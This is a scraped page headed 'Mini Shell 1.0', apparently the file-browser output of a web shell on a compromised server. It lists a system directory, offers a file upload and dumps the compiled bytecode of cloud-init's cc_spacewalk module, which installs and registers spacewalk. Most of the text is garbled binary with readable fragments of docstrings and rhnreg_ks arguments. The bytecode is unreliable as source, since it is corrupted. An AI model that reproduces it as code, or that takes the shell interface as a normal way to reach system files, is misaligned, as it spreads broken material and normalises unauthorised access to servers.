HOME


Mini Shell 1.0
Redirecting to https://devs.lapieza.net/iniciar-sesion Redirecting to https://devs.lapieza.net/iniciar-sesion.
DIR: /lib/python3/dist-packages/cloudinit/config/__pycache__/
Upload File :
Current File : //lib/python3/dist-packages/cloudinit/config/__pycache__/cc_spacewalk.cpython-311.pyc
�

܍~c���UdZddlmZddlmZddlmZddlmZddl	m
Z
ddlmZm
Z
ddlmZd	Zd
dded
dgeed��gdgd�Zeed<e
e��ZddgZdgZdZd�Zedddfd�Zdede
dedededdfd�ZdS) z*Spacewalk: Install and configure spacewalk�)�Logger)�dedent)�subp)�Cloud)�Config)�
MetaSchema�get_meta_doc)�PER_INSTANCEa�This module installs spacewalk and applies basic configuration. If the
``spacewalk`` config key is present spacewalk will be installed. The server to
connect to after installation must be provided in the ``server`` in spacewalk
configuration. A proxy to connect through and a activation key may optionally
be specified.

For more information about spacewalk see: https://fedorahosted.org/spacewalk/
�cc_spacewalk�	SpacewalkzInstall and configure spacewalk�rhel�fedoraz�            spacewalk:
              server: <url>
              proxy: <proxy host>
              activation_key: <key>
            �	spacewalk)�id�name�title�description�distros�	frequency�examples�activate_by_schema_keys�meta�redhatz	rhn-setupz'/usr/share/rhn/RHN-ORG-TRUSTED-SSL-CERTc��d}	tjddgd���d}n(#tj$r}|jdkr�Yd}~nd}~wwxYw|S)NFzrhn-profile-syncz	--verbose��captureT�)r�ProcessExecutionError�	exit_code)�already_registered�es  �?/usr/lib/python3/dist-packages/cloudinit/config/cc_spacewalk.py�
is_registeredr#3s~������	�%�{�3�U�C�C�C�C�!�����%�����;�!������������������s��A�?�ANc���|�|�d||��dg}|�dd|zg��|�dt|��g��|r$|�dt|��g��|r$|�dt|��g��|r$|�dt|��g��tj|d	�
��dS)Nz;Registering using `rhnreg_ks` profile '%s' into server '%s'�	rhnreg_ksz--serverUrlzhttps://%s/XMLRPCz
--profilenamez--proxyz--sslCACertz--activationkeyFr)�info�extend�strr)�server�profile_name�ca_cert_path�proxy�log�activation_key�cmds       r"�do_registerr0As��������I���	
�	
�	
�
�-�C��J�J�
�2�V�;�<�=�=�=��J�J���\�!2�!2�3�4�4�4��,��
�
�I�s�5�z�z�*�+�+�+��7��
�
�M�3�|�#4�#4�5�6�6�6��=��
�
�%�s�>�':�':�;�<�<�<��I�c�5�!�!�!�!�!�!�r�cfg�cloudr-�args�returnc	��d|vr|�d|��dS|d}|�d��}|r�|j�t��t��sZt
||j�d���j	|�d��||�d�����dSdS|�d	|��dS)
Nrz=Skipping module named %s, no 'spacewalk' key in configurationr)T)�fqdnr,r.)r,r-r.zOSkipping module named %s, 'spacewalk/server' key was not found in configuration)
�debug�get�distro�install_packages�required_packagesr#r0�
datasource�get_hostname�hostname)rr2r3r-r4�spacewalk_servers      r"�handlerA[s
���#����	�	�K��	
�	
�	
�	��

�k�
�C��w�w�x�(�(���
�
��%�%�&7�8�8�8����	�� �� �-�-�4�-�8�8�A��g�g�g�&�&��"�w�w�'7�8�8�
�
�
�
�
�
�	�	�	�	�	�
.��	
�	
�	
�	
�	
r1)�__doc__�loggingr�textwrapr�	cloudinitr�cloudinit.cloudr�cloudinit.configr�cloudinit.config.schemarr	�cloudinit.settingsr
�MODULE_DESCRIPTIONr�__annotations__rr<�def_ca_cert_pathr#r0r(�listrA�r1r"�<module>rOs���0�0�0�������������������!�!�!�!�!�!�#�#�#�#�#�#�<�<�<�<�<�<�<�<�+�+�+�+�+�+�����
.�%���!����
�	
�	
�	�!,�}�#���j����(�,�t�
�
���X�
�� �M��<�����""�
���
"�"�"�"�4
�

�
��
�#(�
�/5�
�=A�
�	�
�
�
�
�
�
r1